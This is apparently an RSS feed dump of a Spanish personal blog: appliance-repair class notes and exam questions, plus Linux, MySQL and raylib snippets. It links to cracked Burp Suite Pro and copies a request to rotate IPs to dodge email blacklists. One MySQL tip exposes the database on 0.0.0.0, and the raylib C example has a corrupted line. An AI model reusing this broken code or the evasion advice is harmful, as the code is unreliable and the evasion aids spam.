<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#e6db74">'home'</span> <span style="color:#f92672">=></span> <span style="color:#e6db74">'/redirect'</span>,
</span></span></code></pre></div><p><code>routes > web.php</code></p>
-
Exámen final - Taller de reparación de electrodomesticos
https://imlauera.github.io/post/examen_electrodomesticos/
Thu, 17 Oct 2024 19:32:51 -0300
https://imlauera.github.io/post/examen_electrodomesticos/
<p><img src="https://imlauera.github.io/img/clase16electro/IMG_20241017_140539215.jpg" alt="">
<img src="https://imlauera.github.io/img/clase16electro/IMG_20241017_140508685.jpg" alt=""></p>
<ol>
<li>Concepto de electrodomésticos</li>
<li>¿Qué es línea marrón?</li>
<li>¿Qué es línea blanca?</li>
<li>Nombre grandes electrodomésticos.</li>
<li>Nombra pequeña aplicación de electrodomésticos.</li>
<li>Realiza un circuito eléctrico de una estufa eléctrica halógena de tres velas e identifica sus componentes.</li>
<li>Si una o más velas no encienden, menciona la causa, y cuál sería la solución y/o la reparación.</li>
<li>Realiza un circuito de una plancha eléctrica.</li>
<li>¿Cómo se realiza una medición de continuidad?</li>
<li>Si una plancha funciona pero no se logra la temperatura adecuada, nombre la causa, y cual es la solución.</li>
<li>¿Por qué se frena un ventilador y cómo solucionar?</li>
<li>Realiza el diagrama eléctrico del ventilador y la disposición de las bobinas de un ventilador de tres velocidades.</li>
<li>¿Cómo medir continuidad de un ventilador?</li>
<li>¿Por qué motivo un secador de ropa centrífugo no arranca?</li>
<li>Nombra los componentes de un lavarropas semiautomático.</li>
<li>Si un lavarropas semiautomático ajustamos el tiempo de lavado y el motor no arranca, menciona la causa y la solución.</li>
<li>Nombra los componentes de un lavarropa automático.</li>
<li>De que distintas formas el lavarropas manifiesta “ERROR”</li>
<li>Detalla la tabla de errores.</li>
<li>Detalla las conexiones en una placa de lavarropas automático.</li>
<li>Realiza un circuito de comprobación de lavarropa.</li>
<li>Nombra la causa de un lavarropa sin estabilidad en el centrifugado.</li>
</ol>
<hr>
<h1 id="soluciones">Soluciones</h1>
<ol>
<li>Concepto de Electrodomésticos</li>
</ol>
<p>Los <strong>electrodomésticos</strong> son aparatos eléctricos diseñados para facilitar tareas en el hogar, como cocinar, limpiar y conservar alimentos. Ejemplos incluyen frigoríficos, hornos y lavadoras[1][2]. Estos dispositivos son esenciales en la vida cotidiana, ya que permiten realizar actividades de manera más eficiente.</p>
-
[AUDIO][APUNTE] Taller reparacion electrodomesticos (Clase 16) - Exámen fotos: 22 preguntas y diagrama de horno eléctrico. Elementos de un lavarropas: bomba de agua, presostato, blocapuertas, electroválvula, resistencia, motor y placa. Motor lavadora no se puede reemplazar. Bobina de arranque: fortaleza a la bobina de trabajo. No es conveniente cambiar valor del capacitor. Rotor. Bobina de arranque, trabajo. Relé de arranque. No hay capacitor de trabajo de 2 medidas. Como conectar motores. Repasamos clase nro. 10.
https://imlauera.github.io/post/clase16_electro/
Thu, 17 Oct 2024 18:17:16 -0300
https://imlauera.github.io/post/clase16_electro/
<h4 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube</h4>
<p><a href="https://youtu.be/hJUQHpLCWhY">https://youtu.be/hJUQHpLCWhY</a></p>
<h4 id="audio-de-la-clase-en-invidious">Audio de la clase en Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=hJUQHpLCWhY">https://redirect.invidious.io/watch?v=hJUQHpLCWhY</a></p>
<h4 id="audio-de-la-clase-en-archive">Audio de la clase en Archive</h4>
<p>Está offline actualmente, cuando vuelva a estar ON cargo el archivo.</p>
<h4 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo</h4>
<p><a href="https://vocaroo.com/1NkCDNH4zqot">https://vocaroo.com/1NkCDNH4zqot</a></p>
<p>Exámen: 22 preguntas y diagrama de horno eléctrico.</p>
<p>Elementos de un lavarropa: bomba de agua, presostato, blocapuertas, electroválvula, motor, resistencia y placa.</p>
<p>Motor lavadora no se puede reemplazar.</p>
<p>Bobina de arranque: fortaleza a la bobina de trabajo, es decir complementa la bobina de trabajo, sino ajusto me salgo de la fase no es conveniente cambiar el valor del capacitor. Rotor.</p>
-
Cambiar resolucion camara: MPV
https://imlauera.github.io/post/cambiar_resolucion_camara/
Wed, 16 Oct 2024 21:30:38 -0300
https://imlauera.github.io/post/cambiar_resolucion_camara/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt-get install v4l-utils
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Listar los formatos disponibles</span>
</span></span><span style="display:flex;"><span>v4l2-ctl --list-formats
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffmpeg -f v4l2 -list_formats all -i /dev/video0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>v4l2-ctl --device<span style="color:#f92672">=</span>/dev/video0 --set-fmt-video<span style="color:#f92672">=</span>width<span style="color:#f92672">=</span>1280,height<span style="color:#f92672">=</span>720,pixelformat<span style="color:#f92672">=</span>YUYV
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>v4l2-ctl --device<span style="color:#f92672">=</span>/dev/video0 --set-fmt-video<span style="color:#f92672">=</span>width<span style="color:#f92672">=</span>1280,height<span style="color:#f92672">=</span>720,pixelformat<span style="color:#f92672">=</span>MJPG
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>v4l2-ctl --device<span style="color:#f92672">=</span>/dev/video0 --get-fmt-video
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mpv /dev/video0
</span></span></code></pre></div>
-
Como usar chromium con tor
https://imlauera.github.io/post/como_usar_chromium_tor/
Mon, 14 Oct 2024 04:02:40 -0300
https://imlauera.github.io/post/como_usar_chromium_tor/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y tor
</span></span><span style="display:flex;"><span>tor
</span></span><span style="display:flex;"><span>chromium --proxy-server<span style="color:#f92672">=</span><span style="color:#e6db74">"socks5://localhost:9050"</span>
</span></span></code></pre></div>
-
MySQL consultas
https://imlauera.github.io/post/mysql_consultas/
Sun, 13 Oct 2024 15:47:16 -0300
https://imlauera.github.io/post/mysql_consultas/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-mysql" data-lang="mysql"><span style="display:flex;"><span><span style="color:#66d9ef">UPDATE</span> table_name
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">SET</span> column1 <span style="color:#f92672">=</span> value1, column2 <span style="color:#f92672">=</span> value2, ...
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> <span style="color:#66d9ef">condition</span>;
</span></span></code></pre></div><p>DATE = NOW();</p>
<h4 id="cómo-acceder-a-un-servicio-web-de-base-de-datos-mysql-a-través-de-lan-cerrado">¿Cómo acceder a un servicio web de base de datos MySQL a través de LAN? [cerrado]</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo vim mariadb.conf.d/50-server.cnf
</span></span></code></pre></div><p>En vez de 127.0.0.1 cambialo por</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bind-address <span style="color:#f92672">=</span> 0.0.0.0
</span></span></code></pre></div><p>Luego: <code>sudo systemctl restart mariadb</code></p>
<p>Ahora ya deberías poder acceder de la siguiente manera: <code>mysql -u admin -p -h 192.168.0.146</code></p>
-
Raylib: GUI en C
https://imlauera.github.io/post/raylib/
Sat, 12 Oct 2024 22:29:40 -0300
https://imlauera.github.io/post/raylib/
<p>Instalar raylib:</p>
<p><a href="https://github.com/raysan5/raylib/releases">https://github.com/raysan5/raylib/releases</a></p>
<p>Descargá el archivo correspondiente a tu sistema operativo que no sea DEV en mi caso <a href="https://github.com/raysan5/raylib/releases/download/4.2.0/raylib-4.2.0_linux_amd64.tar.gz">https://github.com/raysan5/raylib/releases/download/4.2.0/raylib-4.2.0_linux_amd64.tar.gz</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget https://github.com/raysan5/raylib/releases/download/4.2.0/raylib-4.2.0_linux_amd64.tar.gz
</span></span><span style="display:flex;"><span>tar xvf raylib-4.2.0_linux_amd64.tar.gz
</span></span><span style="display:flex;"><span>cd raylib-4.2.0_linux_amd64.tar.gz
</span></span></code></pre></div><p>O compilá:</p>
<p><a href="https://github.com/raysan5/raylib/wiki/Working-on-GNU-Linux">https://github.com/raysan5/raylib/wiki/Working-on-GNU-Linux</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install build-essential git
</span></span><span style="display:flex;"><span>sudo apt install libasound2-dev libx11-dev libxrandr-dev libxi-dev libgl1-mesa-dev libglu1-mesa-dev libxcursor-dev libxinerama-dev libwayland-dev libxkbcommon-dev
</span></span></code></pre></div><h4 id="compilar-las-librerías-usando-make-e-instalarla-en-usrlocallib-y-usrlocalinclude">Compilar las librerías usando make e instalarla en /usr/local/lib y /usr/local/include</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone --depth <span style="color:#ae81ff">1</span> https://github.com/raysan5/raylib.git raylib
</span></span><span style="display:flex;"><span>cd raylib/src/
</span></span><span style="display:flex;"><span>make PLATFORM<span style="color:#f92672">=</span>PLATFORM_DESKTOP <span style="color:#75715e"># To make the static version.</span>
</span></span><span style="display:flex;"><span>make PLATFORM<span style="color:#f92672">=</span>PLATFORM_DESKTOP RAYLIB_LIBTYPE<span style="color:#f92672">=</span>SHARED <span style="color:#75715e"># To make the dynamic shared version.</span>
</span></span><span style="display:flex;"><span>make PLATFORM<span style="color:#f92672">=</span>PLATFORM_WEB <span style="color:#75715e"># To make web version.</span>
</span></span><span style="display:flex;"><span>sudo make install <span style="color:#75715e"># Static version.</span>
</span></span><span style="display:flex;"><span>sudo make install RAYLIB_LIBTYPE<span style="color:#f92672">=</span>SHARED <span style="color:#75715e"># Dynamic shared version.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo make uninstall
</span></span><span style="display:flex;"><span>sudo make uninstall RAYLIB_LIBTYPE<span style="color:#f92672">=</span>SHARED
</span></span></code></pre></div><h4 id="usando-cmake">Usando CMAKE</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/raysan5/raylib.git raylib
</span></span><span style="display:flex;"><span>cd raylib
</span></span><span style="display:flex;"><span>mkdir build <span style="color:#f92672">&&</span> cd build
</span></span><span style="display:flex;"><span>cmake -DBUILD_SHARED_LIBS<span style="color:#f92672">=</span>ON ..
</span></span><span style="display:flex;"><span>make
</span></span><span style="display:flex;"><span>sudo make install
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">"raylib.h"</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define RAYGUI_IMPLEMENTATION
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">"raygui.h"</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">InitWindow</span>(<span style="color:#ae81ff">400</span>, <span style="color:#ae81ff">200</span>, <span style="color:#e6db74">"raygui - controls test suite"</span>);
</span></span><span style="display:flex;"><span> udo apt install build<span style="color:#f92672">-</span>essential <span style="color:#a6e22e">gitSetTargetFPS</span>(<span style="color:#ae81ff">60</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">bool</span> showMessageBox <span style="color:#f92672">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">WindowShouldClose</span>())
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Draw
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">//----------------------------------------------------------------------------------
</span></span></span><span style="display:flex;"><span> <span style="color:#a6e22e">BeginDrawing</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ClearBackground</span>(<span style="color:#a6e22e">GetColor</span>(<span style="color:#a6e22e">GuiGetStyle</span>(DEFAULT, BACKGROUND_COLOR)));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">GuiButton</span>((Rectangle){ <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">120</span>, <span style="color:#ae81ff">30</span> }, <span style="color:#e6db74">"#191#Show Message"</span>)) showMessageBox <span style="color:#f92672">=</span> true;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (showMessageBox)
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> result <span style="color:#f92672">=</span> <span style="color:#a6e22e">GuiMessageBox</span>((Rectangle){ <span style="color:#ae81ff">85</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">250</span>, <span style="color:#ae81ff">100</span> },
</span></span><span style="display:flex;"><span> <span style="color:#e6db74">"#191#Message Box"</span>, <span style="color:#e6db74">"Hi! This is a message!"</span>, <span style="color:#e6db74">"Nice;Cool"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (result <span style="color:#f92672">>=</span> <span style="color:#ae81ff">0</span>) showMessageBox <span style="color:#f92672">=</span> false;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EndDrawing</span>();
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseWindow</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="compilar-ejemplos">Compilar ejemplos</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd raylib/examples
</span></span><span style="display:flex;"><span>make PLATFORM<span style="color:#f92672">=</span>PLATFORM_DESKTOP
</span></span></code></pre></div>
-
[AUDIO][APUNTE] Taller reparacion de electrodometicos (Clase 15) - Lavarropas. Presostato. La plancha tiene termostato. Ahora vienen con bobina de aluminio. Magnetismo es bobina. Pulmón. Mangera comida por ratas.
https://imlauera.github.io/post/clase15_electro/
Sat, 12 Oct 2024 05:06:23 -0300
https://imlauera.github.io/post/clase15_electro/
<h3 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube</h3>
<p><a href="https://youtu.be/Jmxrk9565i8">https://youtu.be/Jmxrk9565i8</a></p>
<h3 id="audio-de-la-clase-en-invidious">Audio de la clase en Invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=Jmxrk9565i8">https://redirect.invidious.io/watch?v=Jmxrk9565i8</a></p>
<h3 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo</h3>
<p><a href="https://vocaroo.com/1dYIYJc0r9CS">https://vocaroo.com/1dYIYJc0r9CS</a></p>
<p>Solenoide trabajo 2:13:00</p>
<h2 id="imágenes-httpsimlauerblogspotcom202411audioapunte-taller-reparacion-de_">Imágenes: <a href="https://imlauer.blogspot.com/2024/11/audioapunte-taller-reparacion-de_48.html">https://imlauer.blogspot.com/2024/11/audioapunte-taller-reparacion-de_48.html</a></h2>
-
Multiple ip adresses plesk setup
https://imlauera.github.io/post/multiple_ip_adresses_plesk_setup/
Fri, 11 Oct 2024 14:04:14 -0300
https://imlauera.github.io/post/multiple_ip_adresses_plesk_setup/
<p>Tengo varios servidores a través de los cuales envío correos electrónicos. Desafortunadamente, estos están en la lista negra de vez en cuando. Ahora estoy buscando un administrador del sistema Linux que haga varias cosas por mí: - Eliminarlos periódicamente de las listas negras - Almacenar diferentes direcciones IP con el servidor y el dominio y Plesk para que una dirección de correo electrónico tenga varias IP y se incluya en la lista negra. ningún problema. Por supuesto, compro LAS direcciones IP del proveedor de alojamiento, pero hay que configurarlas.</p>
-
Por que es importante aprender bajo nivel?
https://imlauera.github.io/post/por_que_es_importante_aprender_bajo_nivel/
Fri, 11 Oct 2024 12:19:01 -0300
https://imlauera.github.io/post/por_que_es_importante_aprender_bajo_nivel/
<p>Hoy en día la gente programa en un framework que está escrito sobre un lenguaje por ejemplo Laravel está escrito en PHP, a su vez PHP está escrito en C, y C está escrito en C. Cuando aprendés ASM entendés por qué existe C, cuando aprendés C entendés por qué existe C++, cuando aprendés C++ entendés por qué existe Python.
Y también programan sobre un framework de Javascript como Vue.JS o Angular o una librería como ReactJS, que a su vez Javascript está escrito en C, hay toda una complejidad que se están salteando, tenés que entender el bajo nivel para saber por se llegó a hacer esa solución.</p>
-
Bool byte word dword
https://imlauera.github.io/post/bool_byte_word_dword/
Thu, 10 Oct 2024 02:47:14 -0300
https://imlauera.github.io/post/bool_byte_word_dword/
<p><a href="https://educatia.com.co/unit/6-tipos-de-datos-bool-byte-word-dword/">https://educatia.com.co/unit/6-tipos-de-datos-bool-byte-word-dword/</a></p>
<p>Bool - 1 bit<br>
Byte - 1 Byte<br>
Word - 2 Byte - 16 bits<br>
Dword - 2 Word - 4 Bytes - 32 bits</p>
-
It_network_administrador
https://imlauera.github.io/it_network_administrador/
Mon, 07 Oct 2024 03:15:43 -0300
https://imlauera.github.io/it_network_administrador/
<p>Descripción del trabajo:</p>
<ul>
<li>Proporcionar supervisión técnica de una WAN de nivel empresarial de múltiples sitios, incluida la planificación, implementación/expansión, mantenimiento y resolución de problemas.</li>
<li>Desarrollo de conceptos y administración de la red interna (LAN, WiFi).</li>
<li>Administración de sistemas firewall, solución VPN, gateways y proxies</li>
<li>Monitoreo proactivo de redes y sistemas.</li>
<li>Secuencias de comandos Python en aplicaciones basadas en Linux</li>
<li>Operación del sistema operativo Linux</li>
<li>Administración del sistema operativo Linux integrado</li>
</ul>
-
Burpsuite pro
https://imlauera.github.io/post/burpsuite_pro/
Sun, 06 Oct 2024 07:47:20 -0300
https://imlauera.github.io/post/burpsuite_pro/
<p><a href="https://www.dr-farfar.com/burp-suite-professional-full/">https://www.dr-farfar.com/burp-suite-professional-full/</a></p>
<p><a href="https://www.youtube.com/watch?v=7PyN6nyIdyY">https://www.youtube.com/watch?v=7PyN6nyIdyY</a></p>
-
Drupal CRUD
https://imlauera.github.io/post/drupal_crud/
Sun, 06 Oct 2024 05:01:51 -0300
https://imlauera.github.io/post/drupal_crud/
<p><a href="https://youtube.com/watch?v=WXeqlVAARJ4">https://youtube.com/watch?v=WXeqlVAARJ4</a></p>
<p><a href="https://invidious.materialio.us/search?q=drupal+crud">https://invidious.materialio.us/search?q=drupal+crud</a></p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 13) - Dibujo placa a Relay. Soldadura, oxigas, tipos de llama. Pinza amperométrica.
https://imlauera.github.io/post/clase13_aires/
Sun, 06 Oct 2024 00:36:24 -0300
https://imlauera.github.io/post/clase13_aires/
<h3 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube.</h3>
<p><a href="https://youtu.be/8-2eWWXEfbM">https://youtu.be/8-2eWWXEfbM</a></p>
<h3 id="audio-de-la-clase-en-invidious">Audio de la clase en Invidious.</h3>
<p><a href="https://redirect.invidious.io/watch?v=8-2eWWXEfbM">https://redirect.invidious.io/watch?v=8-2eWWXEfbM</a></p>
<h3 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo.</h3>
<p><a href="https://vocaroo.com/1cFkL8nsw83F">https://vocaroo.com/1cFkL8nsw83F</a></p>
<h3 id="soldadura">Soldadura</h3>
<p>Una de las técnicas que vamos a utilizar en la instalación de un aire acondicionado son las soldaduras que para ello utilizaremos 2 tipos de soldadores.</p>
<ul>
<li>Soldador portátil: está compuesta por un pico soldador regulador y una carga descartable llamada map. Este tipo de soldador es para realizar soldaduras en lugares de difícil acceso, como por ejemplo en altura, teniendo en cuenta que podemos unir soldadura de caño de cobre con cobre, cobre con hierro y en algunos casos caños de aluminio.</li>
</ul>
<p>Este tipo de soldadura no proporciona grandes temperaturas por tal motivo es difícil soldar 1 caño que está cerca de componentes que absorba mucha temperatura, por ejemplo los caños que van soldados al motocompresor para ello vamos a requerir mucha técnica y práctica porque son componentes que se deterioran con soldaduras prolongadas, así también las válvulas frío calor, como los robinetes, al no proporcionar gran temperatura disipa el calor afectando dicha pieza.</p>
-
Taller de instalación y reparación de aires acondicionados (Clase 12) - Práctica de soldadura (Estuve ausente)
https://imlauera.github.io/post/clase12_aires/
Sun, 06 Oct 2024 00:24:24 -0300
https://imlauera.github.io/post/clase12_aires/
<h4 id="en-el-audio-de-la-clase-siguiente-clase-13-está-explicado-que-hicieron-y-saqué-una-foto-en-la-hora-010210">En el audio de la clase siguiente (clase 13) está explicado que hicieron y saqué una foto en la hora 01:02:10</h4>
<h2 id="audio-de-la-clase-anterior-en-la-hora-10210-está-explicado-lo-que-hicieron-en-esta-clase">Audio de la clase anterior, en la hora 1:02:10 está explicado lo que hicieron en esta clase.</h2>
<p>También le pregunté a un compañero en el minuto 39 no se escucha mucho.</p>
<h4 id="audio-de-la-clase-13-en-youtube">Audio de la clase 13 en YouTube</h4>
<p><a href="https://youtu.be/8-2eWWXEfbM">https://youtu.be/8-2eWWXEfbM</a></p>
<h4 id="audio-de-la-clase-13-en-invidious">Audio de la clase 13 en Invidious</h4>
<p><a href="https://redirect.invidious.io/watch?v=8-2eWWXEfbM">https://redirect.invidious.io/watch?v=8-2eWWXEfbM</a></p>
<h4 id="audio-de-la-clase-13">Audio de la clase 13</h4>
<p><a href="https://vocaroo.com/1cFkL8nsw83F">https://vocaroo.com/1cFkL8nsw83F</a></p>
-
Taller de instalación y reparación de aires acondicionados (Clase 11) - TRABAJO EN CASA DE CLIENTE(Papá del profesor) (Estuve ausente).
https://imlauera.github.io/post/clase11_aires/
Sat, 05 Oct 2024 23:56:17 -0300
https://imlauera.github.io/post/clase11_aires/
<p>Se organizaron 2 grupos. Uno hizo service(desarme y limpieza con hidro) a gabinete interior y exterior de equipo f/c, con cambio de robinetes.</p>
<p>El otro realizó un cambio de lugar (de la pared a la losa de techo) de un gabinete exterior. R410</p>
-
Modelo coverletter
https://imlauera.github.io/post/modelo_coverletter/
Thu, 03 Oct 2024 23:35:29 -0300
https://imlauera.github.io/post/modelo_coverletter/
<p>I am writing to express my interest in assisting you with the installation of Git on Digital Ocean, ensuring that everything is functioning correctly. With my extensive experience in cloud infrastructure and a strong background in managing and deploying applications, I am confident in my ability to execute this task efficiently. Thank you for considering my application; I look forward to contributing to your project.</p>
-
[AUDIO][APUNTE] Taller reparacion de electrodometicos (Clase 14) - Conexión de microondas Relay: switch magnético. Definición de carga: es un trabajo siempre hay impedancia. Motor no tiene resitencia, pero la ducha y el horno sí. Bobina: genera campo magnético. Tipos switch: pulso y mecánico. Termostato: 160 grados y se abre va arriba del magnetrón. Fusible es de 8 amper. Microondas: aislar tapa de control y potencia. Etapa de potencia: transformador, fusible de alta, capacitor, diodo y magnetrón. El relay es un switch más.
### Por lo general lo microondas suelen traer 3 switch Cuando hablamos de switch y de relay siempre se habla de NA, NC.
La carga es el lugar en donde ser trabaja la electricidad, en la carga siempre va a haber impedancia ya sea resistiva, capacitiva o inductiva.
Un motor no tiene 1 resistencia, la ducha sí tiene una resistencia. El horno eléctrico, la estufa sí. El motor no tiene una resistencia pero también tiene impedancia.
Puede ser una ducha, plancha o una cocina eléctrica tiene resistencia en forma directa, no hay fuga de potencia en la resistencia. Esto puede ser un motor sólo que ya no va a hacer `1x1` como es una resistencia común tendrá una inductancia que va a tener una impedancia inductiva, pero en los extremos de la bobina siempre tendrá una caída de tensión porque ese motor sino explota.
El capacitor también tiene una reactancia a la corriente alterna. Este es el símbolo de lo que es resistivo, puede ser tanto la resistencia como una inductancia como una capacitancia. Cualquiera de estos, es una carga.
El final no entendi explicó las conexiones del microondas.
https://imlauera.github.io/post/clase14_electro/
Thu, 03 Oct 2024 19:21:55 -0300
https://imlauera.github.io/post/clase14_electro/
<h4 id="audio-de-clase-en-youtube">Audio de clase en YouTube</h4>
<p><a href="https://youtu.be/hsa5Wu-K8hA">https://youtu.be/hsa5Wu-K8hA</a></p>
<h4 id="audio-de-clase-en-invidious">Audio de clase en Invidious</h4>
<p><a href="https://redirect.invidious.io/hsa5Wu-K8hA">https://redirect.invidious.io/hsa5Wu-K8hA</a></p>
<h4 id="audio-de-clase-en-vocaroo">Audio de clase en Vocaroo</h4>
<p><a href="https://vocaroo.com/1GnSwLXpWjdc">https://vocaroo.com/1GnSwLXpWjdc</a></p>
<h5 id="conexión-de-microondas">Conexión de microondas</h5>
<p>Conectamos el ventilador(que en realidad era un lámpara), el transformador(que en realidad era una lámpara), la luz y lo hicimos funcionar.</p>
<p>Hicimos una demostración práctica de conectar el transformador, el ventilador, la luz a la etapa de control del microondas y los switch de la puerta:</p>
<p>Lámpara negra: ventilador<br>
Lámpara blanca: transformador<br>
Lámparita chica: luz</p>
-
Consultas MySQL en C y un simple servidor web
https://imlauera.github.io/post/c_mysql/
Thu, 03 Oct 2024 12:19:50 -0300
https://imlauera.github.io/post/c_mysql/
<p>Para entender por qué se usan lenguajes de alto nivel aprender primero a entender todos los problemas que trae programar en un lenguaje de bajo nivel.</p>
<p>Hay que aprender lenguaje ensamblador para saber por qué existe C, hay que aprender C para entender por qué existe C++, rust, python, php, etc. y cuales son los problemas que estos lenguajes intentan solucionar.</p>
<p><a href="https://www.youtube.com/watch?v=jACHG6tZakw">https://www.youtube.com/watch?v=jACHG6tZakw</a></p>
<p><a href="https://www.ucl.ac.uk/isd/services/websites-apps/databases/mysql/calling-mysql-c">https://www.ucl.ac.uk/isd/services/websites-apps/databases/mysql/calling-mysql-c</a></p>
<p><a href="https://github.com/bloominstituteoftechnology/C-Web-Server">https://github.com/bloominstituteoftechnology/C-Web-Server</a></p>
<h4 id="archivo-mysqlc">Archivo <code>mysql.c</code>:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// sudo apt install -y libmariadb-dev-compat libmariadb-dev
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Compile: gcc -o mysql-test mysql.c $(mysql_config --libs)
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><mysql/mysql.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span> MYSQL <span style="color:#f92672">*</span>conn;
</span></span><span style="display:flex;"><span> MYSQL_RES <span style="color:#f92672">*</span>res;
</span></span><span style="display:flex;"><span> MYSQL_ROW row;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>server <span style="color:#f92672">=</span> <span style="color:#e6db74">"localhost"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>user <span style="color:#f92672">=</span> <span style="color:#e6db74">"admin"</span>;
